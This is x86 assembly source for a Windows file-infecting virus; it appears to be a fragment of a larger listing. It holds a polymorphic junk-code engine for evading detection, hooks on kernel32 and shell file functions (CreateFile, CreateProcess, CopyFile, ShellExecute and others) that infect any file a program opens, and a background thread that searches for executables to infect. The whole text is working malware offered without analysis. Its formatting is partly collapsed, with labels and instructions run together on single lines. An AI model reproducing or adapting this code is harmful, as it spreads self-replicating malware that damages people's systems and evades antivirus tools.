retnPolyGenGarbageBuffer_end: ;Save gargage code generate,can be used in other generationPolyGenSafeGarbage: pushad call VirGetRand movzx eax,al and al,7 add al,8 ;8-15 layers garbage code push eax PolyGenSafeGarbageLoop: call VirGetRand mov edx,eax and al,0fh and ah,3 ;common reg xchg cl,ah ;cl=potential useful reg call PolyGetReg ;bl=garbagereg;bl=gargage reg,cl=useful reg cmp al,PolyGenSafeGarbageMultiNum jnc PolyGenSafeGarbage_0 push ebx call PolyGenSafeGarbageMultiPolyGenSafeGarbageMulti_0: db 11h; adc db 01h; add db 21h; and db 39h; cmp db 89h; mov db 09h; or db 19h; sbb db 29h; sub db 31h; xorPolyGenSafeGarbageMultiNum equ $-PolyGenSafeGarbageMulti_0PolyGenSafeGarbageMulti: pop ebx movzx eax,al mov al,[ebx+eax] pop ebx call PolyOpDirReg1Reg2 jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_0: cmp al,PolyGenSafeGarbageMultiNum+0 jnz short PolyGenSafeGarbage_1;xchg garbagereg,commonreg/xchg garbagereg,commonreg call PolyXchgReg32Reg call PolyXchgReg32Reg jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_1: cmp al,PolyGenSafeGarbageMultiNum+1 jnz short PolyGenSafeGarbage_2 test dh,10h jz short PolyGenSafeGarbage_@11;jmp forword,short format mov al,0ebh stosb movzx eax,dh and al,3 ;max forward 3 bytes stosb add edi,eax jmp short PolyGenSafeGarbageNextPolyGenSafeGarbage_@11:;call forward/pop gargagereg mov al,0e8h stosb movzx eax,dh and al,3 ;max forward 3 bytes stosd add edi,eax mov al,58h or al,bl stosb jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_2: cmp al,PolyGenSafeGarbageMultiNum+2 jnz short PolyGenSafeGarbage_3;bswap garbagereg mov al,0fh stosb mov al,0c8h or al,bl stosb jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_3: cmp al,PolyGenSafeGarbageMultiNum+3 jnz short PolyGenSafeGarbage_4;jcc forward mov al,70h and dh,0fh or al,dh stosb shr edx,12 mov al,dh and al,3 ;max 3 bytes stosb call PolyGetOneByteGarbage jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_4: cmp al,PolyGenSafeGarbageMultiNum+4 jnz short PolyGenSafeGarbage_5;test reg,reg mov al,85h stosb mov al,cl shl al,3 or al,0c0h or al,bl stosb jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_5: PolyGenSafeGarbageNext: dec dword ptr [esp] jnz PolyGenSafeGarbageLoop pop eax pop eax push edi popad retnPolyGenSafeGarbage_end: ;nop,clc,stc,cld,std;Param: al=code numberPolyGetOneByteGarbage: push ebx push eaxPolyGetOneByteGarbageLoop: or al,al jz short PolyGetOneByteGarbageRet push eax call VirGetRand xchg eax,ebx mov al,90h ;nop test bh,8 jz short PolyGetOneByteGarbage1 mov al,0f8h ;clc and bl,1 add al,bl ;maybe stc jmp short PolyGetOneByteGarbageNext PolyGetOneByteGarbage1: test bh,2 jz short PolyGetOneByteGarbageNext mov al,0fch ;cld and bl,1 add al,bl ;maybe std; jmp short PolyGetOneByteGarbageNext PolyGetOneByteGarbageNext: stosb pop eax dec al jmp short PolyGetOneByteGarbageLoopPolyGetOneByteGarbageRet: pop eax pop ebx retnPolyGetOneByteGarbage_end: ;opcode dstreg,srcreg,select two direction;Param: cl=srcreg,bl=dstreg,al=opcodePolyOpDirReg1Reg2: push ebx push ecx push eax call VirGetRand test al,2 pop eax jz short PolyOpDirReg1Reg2_1 or al,2 xchg cl,blPolyOpDirReg1Reg2_1: stosb mov al,cl shl al,3 or al,0c0h or al,bl stosb pop ecx pop ebx retnPolyOpDirReg1Reg2_end: ;xchg reg32,reg32;Param: cl,bl= reg32PolyXchgReg32Reg: call VirGetRand test al,1 jz short PolyXchgReg32Reg1;xchg reg,reg mov al,87h stosb mov al,cl shl al,3 or al,0c0h or al,bl stosb retnPolyXchgReg32Reg1:;push reg1/push reg2/pop reg1/pop reg2 mov al,50h or al,cl stosb mov al,50h or al,bl stosb mov al,58h or al,cl stosb mov al,58h or al,bl stosb retn retnPolyXchgReg32Reg_end: PolyGenGarbage: pushad mov esi,edx ;save edx call VirGetRand test ah,3 jnz short PolyGenGarbageNotSafe popad jmp PolyGenSafeGarbage PolyGenGarbageNotSafe: movzx eax,al and al,7 add al,8 ;8-15 layers garbage code push eax PolyGenGarbageLoop: call VirGetRand mov edx,eax and al,7 and ah,3 ;common reg xchg cl,ah call PolyGetReg ;bl=garbagereg xchg cl,bl ;cl=gargage reg,bl=useful reg cmp al,0 jnz short PolyGenGarbage_1;mov garbagereg,commonreg xchg cl,bl call PolyMovReg32Reg32 ;mov regbl,regcl jmp short PolyGenGarbageNext PolyGenGarbage_1: cmp al,1 jnz short PolyGenGarbage_2;add garbagereg,imm32 call PolyAddReg32Imm jmp short PolyGenGarbageNext PolyGenGarbage_2: cmp al,2 jnz short PolyGenGarbage_3;roll garbagereg,imm8 bswap edx and dh,8 call PolyRollReg32Imm8 jmp short PolyGenGarbageNext PolyGenGarbage_3: cmp al,3 jnz short PolyGenGarbage_4;mov garbagereg,mem mov edx,esi call PolyMovReg32Mem jmp short PolyGenGarbageNext PolyGenGarbage_4: PolyGenGarbageNext: dec dword ptr [esp] jnz PolyGenGarbageLoop pop eax pop eax push edi popad retnPolyGenGarbage_end: if 0;cmp reg32,0;Param: cl=reg32PolyCmpReg32_0: call VirGetRand test al,1 jnz short PolyCmpReg32_0_1;cmp reg32,0 test al,2 jnz short PolyCmpReg32_0_2;long format mov al,81h stosb mov al,0f8h or al,cl stosb xor eax,eax stosd retnPolyCmpReg32_0_2:;short format mov al,83h stosb mov al,0f8h or al,cl stosb xor al,al stosb retnPolyCmpReg32_0_1:;or reg32,reg32 test al,8 mov al,09h jz short PolyCmpReg32_0_3 mov al,0bhPolyCmpReg32_0_3: stosb mov al,cl shl al,3 or al,0c0h or al,cl stosb retnPolyCmpReg32_0_end:endif ;ror/rol reg32,imm8;Param: cl=reg32,dl=imm8,dh=0 means rol,dh=8 means rorPolyRollReg32Imm8: call VirGetRand cmp dl,1 jnz short PolyRollReg32Imm8_1 test al,1 jz short PolyRollReg32Imm8_1;ror/rol reg32,1 mov al,0d1hPolyRollReg32Imm8__help: stosb mov al,0c0h or al,cl or al,dh stosb retn PolyRollReg32Imm8_1: test al,2 jnz short PolyRollReg32Imm8_2PolyRollReg32Imm8__help2:;ror/rol reg32,imm8 mov al,0c1h call PolyRollReg32Imm8__help mov al,dl stosb retn PolyRollReg32Imm8_2:;mov tmpreg32,reg32/ror/rol tmpreg32,imm8/mov reg32,tmpreg32 stc call PolyGetReg call PolyMovReg32Reg32 xchg bl,cl call PolyRollReg32Imm8__help2 call PolyMovReg32Reg32 retnPolyRollReg32Imm8_end: ;bswap reg32;Param: cl=reg32PolyBswapReg32: call VirGetRand test al,1 jnz short PolyBswapReg32_1;bswap reg32PolyBswapReg32_0: mov al,0fh stosb mov al,0c8h or al,cl stosb retnPolyBswapReg32_1:;mov tmpreg32,reg32/bswap tmpreg32/mov reg32,tmpreg32 stc call PolyGetReg call PolyMovReg32Reg32 xchg bl,cl call PolyBswapReg32_0 call PolyMovReg32Reg32 retnPolyBswapReg32_end: ;xor reg32,imm32;Param: cl=reg32,edx=imm32PolyXorReg32Imm: call VirGetRand test al,1 jz short PolyXorReg32Imm1;xor reg32,imm32 mov al,81h stosb mov al,0f0h or al,cl stosb mov eax,edx stosd retnPolyXorReg32Imm1:;mov tmpreg32,imm32/xor reg32,tmp32 stc call PolyGetReg xchg bl,cl call PolyMovReg32Imm mov al,33h stosb mov al,bl shl al,3 or al,0c0h or al,cl stosb retnPolyXorReg32Imm_end: ;add ret32,imm32;Param: cl=reg32,edx=imm32PolyAddReg32Imm: call VirGetRand cmp edx,1;can be inc reg32? jnz short PolyAddReg32Imm1 test al,8 jz short PolyAddReg32Imm1;inc reg32 mov al,40h or al,cl stosb retn PolyAddReg32Imm1: test al,1 jnz short PolyAddReg32Imm2;mov tmpreg32,imm32/add reg32,tmpreg32 stc call PolyGetReg xchg bl,cl call PolyMovReg32Imm mov al,3 stosb mov al,bl shl al,3 or al,0c0h or al,cl stosb retn PolyAddReg32Imm2: test al,10h jz short PolyAddReg32Imm3;add reg32,imm mov al,81h stosb mov al,0c0h or al,cl stosb mov eax,edx stosd retn PolyAddReg32Imm3:;or reg32,reg32/adc reg32,imm mov bl,cl mov al,09h call PolyOpDirReg1Reg2 mov al,81h stosb mov al,0d0h or al,cl stosb mov eax,edx stosd retnPolyAddReg32Imm_end: ;sub ret32,imm32;Param: cl=reg32,edx=imm32PolySubReg32Imm: call VirGetRand cmp edx,1;can be dec reg32? jnz short PolySubReg32Imm1 test al,8 jz short PolySubReg32Imm1;dec reg32 mov al,48h or al,cl stosb retn PolySubReg32Imm1: test al,1 jnz short PolySubReg32Imm2;add reg32,neg imm neg edx jmp short PolyAddReg32Imm1 PolySubReg32Imm2:;sub reg32,imm mov al,81h stosb mov al,0e8h or al,cl stosb mov eax,edx stosd retnPolySubReg32Imm_end: ;mov ret32,imm32;Param: cl=reg32,edx=imm32PolyMovReg32Imm: call VirGetRand test al,1 jz short PolyMovReg32Imm1;mov reg32,imm32 mov al,0b8h or al,cl stosb mov eax,edx stosd retn PolyMovReg32Imm1:;push imm32/pop reg32 mov al,68h stosb mov eax,edx stosd mov al,58h or al,cl stosb retnPolyMovReg32Imm_end: ;mov reg32,[reg of dl(source) + reg of bh(count)];Param: cl=reg32PolyMovReg32Mem: call VirGetRand test al,3 jz short PolyMovReg32Mem1;mov tmpreg8,mem/mov reg8,tmpreg clc call PolyGetReg xchg cl,bl call PolyMovReg32Mem3 ;mov tmpre32,mem;Now cl=tmpreg,bl=reg call PolyMovReg32Reg32 retn PolyMovReg32Mem1: test al,4 jnz short PolyMovReg32Mem2PolyMovReg32Mem3:;mov reg8,mem mov al,8bh call PolyMovMemHelp retn PolyMovReg32Mem2:;push mem/pop reg mov ax,034ffh stosw mov al,dh shl al,3 or al,dl ;SIB stosb mov al,cl ;pop reg or al,58h stosb retnPolyMovReg32Mem_end: ;mov [reg of dl(source) + reg of bh(count)],reg32;Param: cl=reg32PolyMovMemReg32: call VirGetRand test al,3 jz short PolyMovMemReg32_1;mov tmpreg,reg/mov mem32,tmpreg clc call PolyGetReg;cl=reg32,bl=tmpreg32 call PolyMovReg32Reg32 xchg bl,cl;cl=reg32,bl=tmpreg32 PolyMovMemReg32_1: test al,4 jz short PolyMovMemReg32__2;mov mem32,reg32 mov al,89h call PolyMovMemHelp retn PolyMovMemReg32__2:;push reg32/pop mem32 mov al,50h or al,cl stosb mov ax,048fh stosw mov al,dh shl al,3 or al,dl ;SIB stosb retnPolyMovMemReg32_end: ;For mov mem32,reg or mov reg,mem32;Param: al=the first byte,89h-mov mem32,reg,8bh-mov reg,mem32PolyMovMemHelp: stosb mov al,cl shl al,3 or al,4 stosb ;mod/reg/rm mov al,dh shl al,3 or al,dl ;SIB stosb retnPolyMovMemHelp_end: ;mov reg32,[reg of dl(source) + reg of bh(count)];Param: cl=source reg32,bl=dest reg32PolyMovReg32Reg32: call VirGetRand test al,1 jz short PolyMovReg32Reg32_1;mov dstreg32,srcreg32 test al,8 jz short PolyMovReg32Reg32_2;reg1 to reg2 mov al,89h stosb mov al,cl shl al,3 or al,0c0h or al,bl stosb retn PolyMovReg32Reg32_2:;reg2 to reg1 mov al,8bh stosb mov al,bl shl al,3 or al,0c0h or al,cl stosb retn PolyMovReg32Reg32_1:;push srcreg32/pop dstreg32 mov al,50h or al,cl stosb mov al,58h or al,bl stosb retnPolyMovReg32Reg32_end: ;Param: ebp->PolyVar,CF=0: use only common reg,CF=1: use all reg;Return: bl=reg,bh won't be affectPolyGetReg: push eax push edx push ecx setc cl shr cl,2 add cl,3 call VirGetRand movzx edx,al and dl,cl dec dlPolyGetRegLoop: inc dl and dl,cl cmp dl,4 ;is esp? jz short PolyGetRegLoop cmp dl,5 ;is ebp? jz short PolyGetRegLoop cmp byte ptr [ebp+edx],dh ;dh=0 jnz short PolyGetRegLoop mov bl,dl pop ecx pop edx pop eax retnPolyGetReg_end: ;Param: al=last poly type;Return: al=poly typePolyGetType: push edx mov dh,al call VirGetRand xor ah,ah ;avoid overflow error mov dl,PTNUM div dl mov al,ah pop edx retnPolyGetType_end: ;Return: eax=random numberVirGetRand: pushad call VirGetRandIPVirGetRandIP: pop ebp call [ebp+addrGetTickCount-VirGetRandIP] mov ecx,12345678hRandSeed equ $-4 add eax,ecx rol ecx,1 add ecx,esp add [ebp+RandSeed-VirGetRandIP],ecx push large 32 pop ecxVirGetRand1: shr eax,1 jnc VirGetRand2 xor eax,0ED388320hVirGetRand2: loop VirGetRand1 mov [esp+7*4],eax popad retnget_rand_end: ;Try to set GetOpenFileName hook;Param: esi->OPENFILENAME, edi->address of hook procedureHookGetOpenFileNameTryHook: mov ecx,[esi].OPENFILENAME.Flags test ecx,OFN_ENABLEHOOK jnz short HookGetOpenFileNameTryHookRet test ecx,OFN_EXPLORER jz short HookGetOpenFileNameTryHookRet or [esi].OPENFILENAME.Flags,OFN_ENABLEHOOK mov [esi].OPENFILENAME.lpfnHook,ediHookGetOpenFileNameTryHookRet: retnHookGetOpenFileNameTryHook_end: ;Try to release GetOpenFileName hook;Param: esi->OPENFILENAME, edi->address of hook procedureHookGetOpenFileNameUnhook: cmp [esi].OPENFILENAME.lpfnHook,edi jnz short HookGetOpenFileNameUnhookRet and [esi].OPENFILENAME.Flags,not OFN_ENABLEHOOK mov [esi].OPENFILENAME.lpfnHook,0HookGetOpenFileNameUnhookRet: retnHookGetOpenFileNameUnhook_end: HookGetOpenFileNameHookA: cmp dword ptr [esp+4+4],WM_NOTIFY ;uiMsg jnz short HookGetOpenFileNameHookARet mov eax,[esp+4+4*3] ;lParam cmp dword ptr [eax+8],CDN_FOLDERCHANGE jnz short HookGetOpenFileNameHookARet mov eax,[esp+4] pushad call HookGetOpenFileNameHookAIPHookGetOpenFileNameHookAIP: pop ebp push eax call [ebp+addrGetParent-HookGetOpenFileNameHookAIP] sub esp,1000 mov edi,esp push edi push 500 push CDM_GETFOLDERPATH push eax call [ebp+addrSendMessageA-HookGetOpenFileNameHookAIP] cmp eax,0 jle short HookGetOpenFileNameHookAFail cmp byte ptr [edi+1],0 jz short HookGetOpenFileNameHookAWide call TrySearchPath jmp short HookGetOpenFileNameHookAFailHookGetOpenFileNameHookAWide: call TrySearchPathWideHookGetOpenFileNameHookAFail: add esp,1000 popad HookGetOpenFileNameHookARet: xor eax,eax retn 16HookGetOpenFileNameHookA_end: HookGetSaveFileNameA: pushad pushfd call HookGetSaveFileNameAIPHookGetSaveFileNameAIP: pop ebx mov eax,[ebx+addrGetSaveFileNameA-HookGetSaveFileNameAIP] lea ebp,[ebx+HookGetOpenFileNameAIP-HookGetSaveFileNameAIP] jmp short HookGetOpenFileNameA_1HookGetSaveFileNameA_end: HookGetSaveFileNameW: pushad pushfd call HookGetSaveFileNameWIPHookGetSaveFileNameWIP: pop ebx mov eax,[ebx+addrGetSaveFileNameW-HookGetSaveFileNameWIP] lea ebp,[ebx+HookGetOpenFileNameWIP-HookGetSaveFileNameWIP] jmp short HookGetOpenFileNameW_1HookGetSaveFileNameW_end: HookGetOpenFileNameA: pushad pushfd call HookGetOpenFileNameAIPHookGetOpenFileNameAIP: pop ebp mov eax,[ebp+addrGetOpenFileNameA-HookGetOpenFileNameAIP] HookGetOpenFileNameA_1: mov esi,[esp+9*4+4] lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameAIP] call HookGetOpenFileNameTryHook push esi call eax mov [esp+4+7*4],eax call HookGetOpenFileNameUnhook popfd popad retn 4HookGetOpenFileNameA_end: HookGetOpenFileNameW: pushad pushfd call HookGetOpenFileNameWIPHookGetOpenFileNameWIP: pop ebp mov eax,[ebp+addrGetOpenFileNameW-HookGetOpenFileNameWIP] HookGetOpenFileNameW_1: mov esi,[esp+9*4+4] lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameWIP] call HookGetOpenFileNameTryHook push esi call eax mov [esp+4+7*4],eax call HookGetOpenFileNameUnhook popfd popad retn 4HookGetOpenFileNameW_end: HookLoadLibraryA: pushad pushfd call HookLoadLibraryAIPHookLoadLibraryAIP: pop ebp mov esi,[esp+9*4+4] push esi call [ebp+addrLoadLibraryA-HookLoadLibraryAIP] mov [esp+4+7*4],eax or eax,eax jz short HookLoadLibraryARet mov edi,1000 sub esp,edi mov edx,esp push edi push edx push eax call HookGetModuleFileNameA add esp,ediHookLoadLibraryARet: popfd popad retn 4HookLoadLibraryA_end: HookLoadLibraryW: pushad pushfd call HookLoadLibraryWIPHookLoadLibraryWIP: pop ebp mov esi,[esp+9*4+4] push esi call [ebp+addrLoadLibraryW-HookLoadLibraryWIP] mov [esp+4+7*4],eax or eax,eax jz short HookLoadLibraryWRet mov edi,1000 sub esp,edi mov edx,esp push large 500 push edx push eax call HookGetModuleFileNameW add esp,ediHookLoadLibraryWRet: popfd popad retn 4HookLoadLibraryW_end: HookGetModuleFileNameA: pushad pushfd call HookGetModuleFileNameAIPHookGetModuleFileNameAIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] mov eax,[esp+9*4+4+4+4] push eax push edi push esi call [ebp+addrGetModuleFileNameA-HookGetModuleFileNameAIP] mov [esp+4+7*4],eax or eax,eax jz short HookGetModuleFileNameARet call TrySearchFileHookGetModuleFileNameARet: popfd popad retn 12HookGetModuleFileNameA_end: HookGetModuleFileNameW: pushad pushfd call HookGetModuleFileNameWIPHookGetModuleFileNameWIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] mov eax,[esp+9*4+4+4+4] push eax push edi push esi call [ebp+addrGetModuleFileNameW-HookGetModuleFileNameWIP] mov [esp+4+7*4],eax or eax,eax jz short HookGetModuleFileNameWRet xchg edi,edx call InfectFileWideHookGetModuleFileNameWRet: popfd popad retn 12HookGetModuleFileNameW_end: HookGetCurrentDirectoryA: pushad pushfd call HookGetCurrentDirectoryAIPHookGetCurrentDirectoryAIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] push edi push esi call [ebp+addrGetCurrentDirectoryA-HookGetCurrentDirectoryAIP] mov [esp+4+7*4],eax or eax,eax jz short HookGetCurrentDirectoryARet call TrySearchPathHookGetCurrentDirectoryARet: popfd popad retn 8HookGetCurrentDirectoryA_end: HookGetCurrentDirectoryW: pushad pushfd call HookGetCurrentDirectoryWIPHookGetCurrentDirectoryWIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] push edi push esi call [ebp+addrGetCurrentDirectoryW-HookGetCurrentDirectoryWIP] mov [esp+4+7*4],eax or eax,eax jz short HookGetCurrentDirectoryWRet call TrySearchPathWideHookGetCurrentDirectoryWRet: popfd popad retn 8HookGetCurrentDirectoryW_end: HookSetCurrentDirectoryA: pushad pushfd call HookSetCurrentDirectoryAIPHookSetCurrentDirectoryAIP: pop ebp mov edi,[esp+9*4+4] push edi call [ebp+addrSetCurrentDirectoryA-HookSetCurrentDirectoryAIP] mov [esp+4+7*4],eax or eax,eax jz short HookSetCurrentDirectoryARet call TrySearchPathHookSetCurrentDirectoryARet: popfd popad retn 4HookSetCurrentDirectoryA_end: HookSetCurrentDirectoryW: pushad pushfd call HookSetCurrentDirectoryWIPHookSetCurrentDirectoryWIP: pop ebp mov edi,[esp+9*4+4] push edi call [ebp+addrSetCurrentDirectoryW-HookSetCurrentDirectoryWIP] mov [esp+4+7*4],eax or eax,eax jz short HookSetCurrentDirectoryWRet call TrySearchPathWideHookSetCurrentDirectoryWRet: popfd popad retn 4HookSetCurrentDirectoryW_end: HookFindFirstFileA: pushad pushfd call HookFindFirstFileAIPHookFindFirstFileAIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] push edi push esi call [ebp+addrFindFirstFileA-HookFindFirstFileAIP] mov [esp+4+7*4],eax inc eax jz short HookFindFirstFileARet add edi,4*11 ;edi->cFileName push esi call HookFindHelp pop edi call TrySearchFile HookFindFirstFileARet: popfd popad retn 8HookFindFirstFileA_end: ;Param: esi->lpFileName,edi->cFileName of WIN32_FIND_DATAHookFindHelp: sub esp,2000 xchg ebx,edi mov edi,esp mov edx,edi call VirExtractPath mov edi,ecx mov esi,ebxHookFindHelpLoop2: lodsb stosb or al,al jnz short HookFindHelpLoop2 mov edi,edx call InfectFile HookFindHelpRet: add esp,2000 retnHookFindHelp_end: HookFindFirstFileW: pushad pushfd call HookFindFirstFileWIPHookFindFirstFileWIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] push edi push esi call [ebp+addrFindFirstFileW-HookFindFirstFileWIP] mov [esp+4+7*4],eax inc eax jz short HookFindFirstFileWRet add edi,4*11 ;edi->cFileName call HookFindHelpWide HookFindFirstFileWRet: popfd popad retn 8HookFindFirstFileW_end: ;Param: esi->lpFileName,edi->cFileName of WIN32_FIND_DATAHookFindHelpWide: sub esp,2000 mov edx,esi xchg ecx,edi mov edi,esp call UnicodeToAnsi mov esi,edi mov edx,ecx add edi,1000 call UnicodeToAnsi push esi call HookFindHelp pop edi call TrySearchFile add esp,2000 retnHookFindHelpWide_end: HookMoveFileExA: push eax pushad pushfd mov edx,addrMoveFileExA-HookBaseIP jmp short HookMoveFileA_1HookMoveFileExA_end: HookMoveFileExW: push eax pushad pushfd mov edx,addrMoveFileExW-HookBaseIP jmp short HookMoveFileW_1HookMoveFileExW_end: HookCopyFileExA: push eax pushad pushfd mov edx,addrCopyFileExA-HookBaseIP jmp short HookMoveFileA_1HookCopyFileExA_end: HookCopyFileExW: push eax pushad pushfd mov edx,addrCopyFileExW-HookBaseIP jmp short HookMoveFileW_1HookCopyFileExW_end: HookCopyFileA: push eax pushad pushfd mov edx,addrCopyFileA-HookBaseIP jmp short HookMoveFileA_1HookCopyFileA_end: HookCopyFileW: push eax pushad pushfd mov edx,addrCopyFileW-HookBaseIP jmp short HookMoveFileW_1HookCopyFileW_end: HookMoveFileA: push eax pushad pushfd mov edx,addrMoveFileA-HookBaseIP HookMoveFileA_1: mov edi,[esp+10*4+4] call InfectFileAnsi jmp short HookReturnHookMoveFileA_end: HookMoveFileW: push eax pushad pushfd mov edx,addrMoveFileW-HookBaseIP HookMoveFileW_1: push edx mov edx,[esp+10*4+4+4] call InfectFileWide pop edx jmp short HookReturnHookMoveFileW_end: HookShellExecuteExA: push eax pushad pushfd mov edi,[esp+10*4+4] or edi,edi jz short HookShellExecuteExARet mov edi,[edi+4*4] call InfectFileAnsi HookShellExecuteExARet: mov edx,addrShellExecuteExA-HookBaseIP jmp short HookReturnHookShellExecuteExA_end: HookShellExecuteExW: push eax pushad pushfd mov edx,[esp+10*4+4] or edx,edx jz short HookShellExecuteExWRet mov edx,[edx+4*4] call InfectFileWide HookShellExecuteExWRet: mov edx,addrShellExecuteExA-HookBaseIP jmp short HookReturnHookShellExecuteExW_end: HookCreateFileA: push eax pushad pushfd mov edi,[esp+10*4+4] call InfectFileAnsi mov edx,addrCreateFileA-HookBaseIP HookReturn: call HookCreateFileAIPHookCreateFileAIP:HookBaseIP equ HookCreateFileAIP pop edi mov eax,[edi+edx] mov [esp+4*9],eax popfd popad retnHookCreateFileA_end: HookCreateFileW: push eax pushad pushfd mov edx,addrCreateFileW-HookBaseIP jmp short HookMoveFileW_1HookCreateFileW_end: HookCreateProcessA: push eax pushad pushfd mov edx,addrCreateProcessA-HookBaseIP jmp HookMoveFileA_1HookCreateProcessA_end: HookCreateProcessW: push eax pushad pushfd mov edx,addrCreateProcessW-HookBaseIP jmp HookMoveFileW_1HookCreateProcessW_end: HookShellExecuteA: push eax pushad pushfd mov edi,[esp+10*4+4+2*4] call InfectFileAnsi mov edx,addrShellExecuteA-HookBaseIP jmp short HookReturnHookShellExecuteA_end: HookShellExecuteW: push eax pushad pushfd mov edx,[esp+10*4+4+2*4] call InfectFileWide mov edx,addrShellExecuteW-HookBaseIP jmp short HookReturnHookShellExecuteW_end: ;Infect file with ansi file name,only a wrapper of InfectFile;Param: edi->ansi file nameInfectFileAnsi: pushad call InfectFile call TrySearchFile popad retnInfectFileAnsi_end: ;Infect file with unicode file name;Param: edx->unicode file nameInfectFileWide: mov esi,512 sub esp,esi mov edi,esp call UnicodeToAnsi call InfectFile call TrySearchFile add esp,esi retnInfectFileWide_end: ;Param: edx->unicode string,edi->dest ansi buffer(at leaset 512 bytes)UnicodeToAnsi: push ecx push large 0 push large 0 push large 512 push edi ;lpMultiByteStr push -1 push edx push large 200h ;WC_COMPOSITECHECK push large 0 ;CP_ACP call UnicodeToAnsiIPUnicodeToAnsiIP: pop eax call [eax+addrWideCharToMultiByte-UnicodeToAnsiIP] pop ecx retnUnicodeToAnsi_end: ;Search path;Param: edi->PathTrySearchPath: sub esp,1000 cld mov esi,edi mov edi,espTrySearchPathLoop: lodsb stosb or al,al jnz short TrySearchPathLoop TrySearchPath_Help: dec edi cmp byte ptr [edi-1],'/' jz short TrySearchPath_1 mov al,'/' stosbTrySearchPath_1: mov eax,'0fck' and 0ffffffh stosd mov edi,esp call TrySearchFile add esp,1000 retnTrySearchPath_end: ;Param: edi->unicode pathTrySearchPathWide: sub esp,1000 mov edx,edi mov edi,esp call UnicodeToAnsi add edi,eax jmp short TrySearchPath_HelpTrySearchPathWide_end: ;Extract the file path,then search it;Param: edi->file nameTrySearchFile: call CanSearch jnz short TrySearchFileRet pushad call TrySearchFileIPTrySearchFileIP: pop ebx lea esi,[ebx+PathBuf-TrySearchFileIP] xchg esi,edi call VirExtractPath mov edi,ecx mov eax,'xe.*' stosd mov eax,'000e' and 0ffh stosd push dword ptr [ebx+VirEventHandle-TrySearchFileIP] call [ebx+addrSetEvent-TrySearchFileIP] popadTrySearchFileRet: retnTrySearchFile_end: ;Param: esi->source buffer,edi->dest buffer;Return: esi,edi->buffer end,ecx->afte the last '/' or the buffer headVirExtractPath: cld mov ecx,ediVirExtractPathLoop: lodsb stosb cmp al,'/' jnz short VirExtractPathNotBackSlash mov ecx,ediVirExtractPathNotBackSlash: or al,al jnz short VirExtractPathLoop retnVirExtractPath_end: ;Return: ZF=0,can't begin search,ZF=1,can begin searchCanSearch: pushad call CanSearchIPCanSearchIP: pop esi xor edx,edx mov dl,0SearchSign equ $-1 or dl,dl jnz short CanSearchRet call [esi+addrGetTickCount-CanSearchIP] xor edx,edx sub eax,12345678hCanSearchTick equ $-4 cmp eax,3*1000 ;3 sec ja short CanSearchRet inc edxCanSearchRet: or edx,edx popad retnCanSearch_end: ;Thread to search a specified pathSearchThread: call SearchThreadIPSearchThreadIP: pop ebp sub esp,1000 SearchThreadDeadLoop: mov byte ptr [ebp+SearchSign-SearchThreadIP],0 push large -1 push large 12345678hVirEventHandle equ $-4 call [ebp+addrWaitForSingleObject-SearchThreadIP] mov byte ptr [ebp+SearchSign-SearchThreadIP],1 call [ebp+addrGetTickCount-SearchThreadIP] mov [ebp+SearchThreadTick-SearchThreadIP],eax lea esi,[ebp+PathBuf-SearchThreadIP] mov edi,esp push edi push esi call [ebp+addrFindFirstFileA-SearchThreadIP] inc eax jz short SearchThreadDeadLoop dec eax push eax ;Handle SearchThreadFindLoop: pushad add edi,4*11 ;edi->cFileName call HookFindHelp popad call [ebp+addrGetTickCount-SearchThreadIP] sub eax,12345678hSearchThreadTick equ $-4 cmp eax,1500 ;continue run for 1500 millionsecond ja short SearchThreadClose pop eax push eax push edi push eax call [ebp+addrFindNextFileA-SearchThreadIP] or eax,eax jnz short SearchThreadFindLoop SearchThreadClose: call [ebp+addrFindClose-SearchThreadIP] call [ebp+addrGetTickCount-SearchThreadIP] mov [ebp+CanSearchTick-SearchThreadIP],eax jmp short SearchThreadDeadLoopSearchThread_end: VirImportTable: db 'KERNEL32.dll' db 0,0,'LoadLibraryA' db 0,0,'GetProcAddress',0VirImportTableStringSize equ $-VirImportTable VIRAPIDEF macro apiname db IMPORT_IS_NAME db apinameendm Kernel32APIName: db 'kernel32' VIRAPIDEF 'CreateFileA' VIRAPIDEF 'CreateFileW' VIRAPIDEF 'CreateProcessA' VIRAPIDEF 'CreateProcessW' VIRAPIDEF 'FindFirstFileA' VIRAPIDEF 'FindFirstFileW' VIRAPIDEF 'CopyFileA' VIRAPIDEF 'CopyFileW' VIRAPIDEF 'CopyFileExA' VIRAPIDEF 'CopyFileExW' VIRAPIDEF 'MoveFileA' VIRAPIDEF 'MoveFileW' VIRAPIDEF 'MoveFileExA' VIRAPIDEF 'MoveFileExW' VIRAPIDEF 'GetCurrentDirectoryA' VIRAPIDEF 'GetCurrentDirectoryW' VIRAPIDEF 'SetCurrentDirectoryA' VIRAPIDEF 'SetCurrentDirectoryW' VIRAPIDEF 'GetModuleFileNameA' VIRAPIDEF 'GetModuleFileNameW' VIRAPIDEF 'LoadLibraryA' VIRAPIDEF 'LoadLibraryW' VIRAPIDEF 'SetEndOfFile' VIRAPIDEF 'SetFilePointer' VIRAPIDEF 'GetFileAttributesA' VIRAPIDEF 'SetFileAttributesA' VIRAPIDEF 'CloseHandle' VIRAPIDEF 'GetFileTime' VIRAPIDEF 'SetFileTime' VIRAPIDEF 'GetFileSize' VIRAPIDEF 'CreateFileMappingA' VIRAPIDEF 'MapViewOfFile' VIRAPIDEF 'UnmapViewOfFile' VIRAPIDEF 'OpenFileMappingA' VIRAPIDEF 'VirtualAlloc' VIRAPIDEF 'GetTickCount' VIRAPIDEF 'WideCharToMultiByte' VIRAPIDEF 'WaitForSingleObject' VIRAPIDEF 'FindClose' VIRAPIDEF 'CreateEventA' VIRAPIDEF 'SetEvent' VIRAPIDEF 'CreateThread' VIRAPIDEF 'FindNextFileA' 